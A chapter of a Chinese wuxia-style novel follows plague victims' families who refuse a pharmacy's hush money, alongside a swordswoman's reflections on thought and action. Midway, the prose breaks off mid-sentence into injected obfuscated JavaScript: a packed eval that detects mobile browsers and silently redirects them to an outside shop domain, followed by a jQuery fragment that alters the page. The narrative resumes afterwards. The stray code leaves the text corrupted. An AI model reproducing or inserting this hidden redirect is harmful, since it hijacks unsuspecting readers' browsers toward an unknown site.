无灯县城墙很矮。
连日大雨将墙根泡出一圈深色水痕，砖缝里钻出细草。城门上挂着“长明”旧匾，两个字新漆过许多次，边角仍不断剥落，露出下面被凿去的“无灯”。进城的人都从那层层叠叠的名字下经过，却很少抬头。
死亡名册抄到第三份，县衙派来的书吏便开始催。
“疫案已经过了十二年，旧任县令也死了。”年长书吏说道，“曹有德侵吞寺田，可以照律查办；至于封寺之事，证人多半不在，再闹只会坏了本县名声。”
严婆把笔拍在桌上：“死的人就没有名声？”
书吏皱着眉想反驳，周迟从旁边递出一页药材收支：“当年运入无灯县的退热药有八百斤，寺内名册记录只收到一百三十斤。其余六百七十斤去了哪里，州府药契上未必没有痕迹。”
许槐也把自己的旧行册搬来。他父亲当年跑过这条商路，册角发霉，却仍能辨出一笔高价收购：无灯疫期第二月，州城孟氏药行以县衙名义购入六百斤退热草。
书吏面色变了。
旧县令虽死，孟氏药行仍在州城开着三层高楼。曹家只是守门和分利的人，真正把药从病人手中运走的，是一条尚且活着的买卖链。
消息传开以后，县衙门前很快聚起人群。
有人来认亲，有人来求赔，也有人担心疫县旧名重提会影响自家女儿出嫁，隔着街骂严婆多事。十二年的日子已经覆盖在旧伤上，谁家租过寺田，谁家同曹家结过亲，谁又从药行低价收购中赚过银钱，牵连远比夜叉显形时更杂乱。
午后，一名穿绸衫的孟氏掌柜带着礼盒进了客栈。
他先向严婆行礼，又对众人说愿意出银修一座疫亡祠。每名死者家属可领五两抚恤，条件是名册不再外抄，也不向州府递状。
“老东家当年不知药从何来。”孟掌柜说道，“如今后人愿意补偿，已经是念旧情。诸位若执意翻案，县里被封作疫地，商路一断，活人也要吃苦。”
严婆气得手抖，却在“五两”二字后沉默了。她家屋顶漏雨，孙女的嫁妆尚无着落，五两足以补瓦，也足以让一个贫寒老人暂时不必向任何人低头。
江照夜站在客栈檐下，看见老人把木牌抱得越来越紧。
“你想收便收。”江照夜对严婆说道，“收下银子不等于他们无罪。”
孟掌柜立刻笑道：“姑娘明理。既然拿了抚恤，旧账自然也该到此为止。”
“那是你加的条件。”江照夜看向他，“钱是补过去的损失，闭嘴是另一笔买卖。你若要买，明写价钱，别叫念旧情。”
孟掌柜脸上的笑僵了一下。
严婆仍在犹豫。明寂自进城后便坐在客栈角落誊抄名册，没有劝她拒绝，也没有赞她清贫守义。直到老人望向他，他才放下笔。
“师父，我若拿钱，是不是对不起秋生？”严婆问道。
“贫僧不是严秋生。”明寂回答，“不能替他原谅，也不能替他怪你。”
“佛门不是劝人放下吗？”孟掌柜说道。
“放下什么，由谁来放？”明寂问道，“你若替受害者放下，手里自然轻省。”
孟掌柜被噎得变了脸色。
严婆低头坐了很久。街上的喧闹从窗缝挤进来，卖伞的小贩拖长声音，车轮碾过积水，几个孩子追着一只湿透的狗跑。十二年前死去的人没有替这座县城停住时间，活人照样要吃饭、补屋、嫁娶。
“五两我拿。”严婆终于说道，“名册我也抄。你家欠的是人命买卖，不是一座祠。”
孟掌柜收起礼盒：“既然如此，银子也没有了。”
他转身时，江照夜用剑鞘挡住门。
“你刚才说是抚恤。”江照夜说道，“抚恤为什么要看她听不听话？”
“孟家的银子，给不给由孟家。”孟掌柜回答。
“不错。”江照夜让开一步，“所以大家都听清了。你不是来补偿，是来买她闭嘴。买不成，便一文不出。”
客栈外挤着的人群起了低低议论。孟掌柜可以带走银子，却带不走自己说过的话。那两名县衙书吏也在场，年长者垂着眼，年轻者悄悄把方才对话记进袖中小册。
孟掌柜走后，严婆看着空桌，眼圈慢慢红了。
“我方才真想拿。”严婆对江照夜说道。
“想拿没有错。”江照夜回答。
“可我也真想他死。”严婆说道。
“想不等于做。”江照夜说道，“做了什么，再为那件事负责。”
她说完，忽然意识到自己正复述明寂教过的分辨。并非故作宽宏，也不是让恨意消失；只把心里掠过的念头与真正伸出去的手分开。
傍晚，县里有七户疫亡家属
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929937|213611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
愿意联名去州府，九户只愿保留名册，不愿出面，还有三户接受孟氏私下送来的银子并撤回证言。严婆看见他们从后门离开，气得咬牙。
“他们明明也死了亲人。”严婆说道。
“所以他们更清楚自己眼下缺什么。”明寂回答，“你可以不认同，不能替他们承担拒绝银子的冬天。”
“那公道怎么办？”严婆问道。
“愿意作证的人继续走。”明寂说道，“证据不能只拴在最穷、最怕失去的人身上。”
江照夜把名册分成七份，一份由许槐带去同行药商处，一份交给周迟，一份藏在无灯寺旧井的夹砖里，其余分别交给愿意保管的村落。就算有人反悔、受买或被迫沉默，已经说出的事实也不会随一张纸再次烧净。
夜里，江照夜在客栈后院练左手直刺。
雨后的月亮薄得像一层银屑，水缸里浮着破碎月影。她每刺一次，先停七息。某一息想到孟掌柜，剑尖便多一分怒；某一息想到严婆可能收钱，心中便生出失望；再下一息，她又因这种失望感到自责。
明寂从廊下经过，没有叫她停。
“人的心若这样变来变去，如何能信？”江照夜问道。
“为何要信每一个念头？”明寂反问。
“剑出时总要有一个决定。”江照夜说道。
“决定不是最响的那一念。”明寂回答，“是你听过它们以后，仍愿承担的那一个。”
江照夜把这句话放在心里，没有立即当作答案。她抬剑，脚下月影因水波晃动，她便等波纹过去，重新找准缸沿的一点。
这一剑刺得很慢。
剑尖抵达时，水面没有被劈碎，只荡开一道清楚的圆纹。
圆纹碰到缸壁，又折回来。江照夜看着两层水波相撞，想起白日那些彼此冲突的选择。她从前总把“没有一致”理解为人心涣散，做大师姐时也习惯在争论结束前给出一个决定。如今才看见，许多看似拖延的争执，其实是在给每个人留下承担自己后果的位置。
客栈前堂仍亮着一盏小灯。严婆和几户家属守着七份名册轮流打盹，谁醒着，谁便负责看纸。夜风把门吹开一线，灯火歪了歪，又被一只陌生的手护住。那人白日没有答应作证，只说来看看母亲的名字是否写对。江照夜没有叫破，收剑回鞘，让那点并不坚定的勇气自己待到天亮。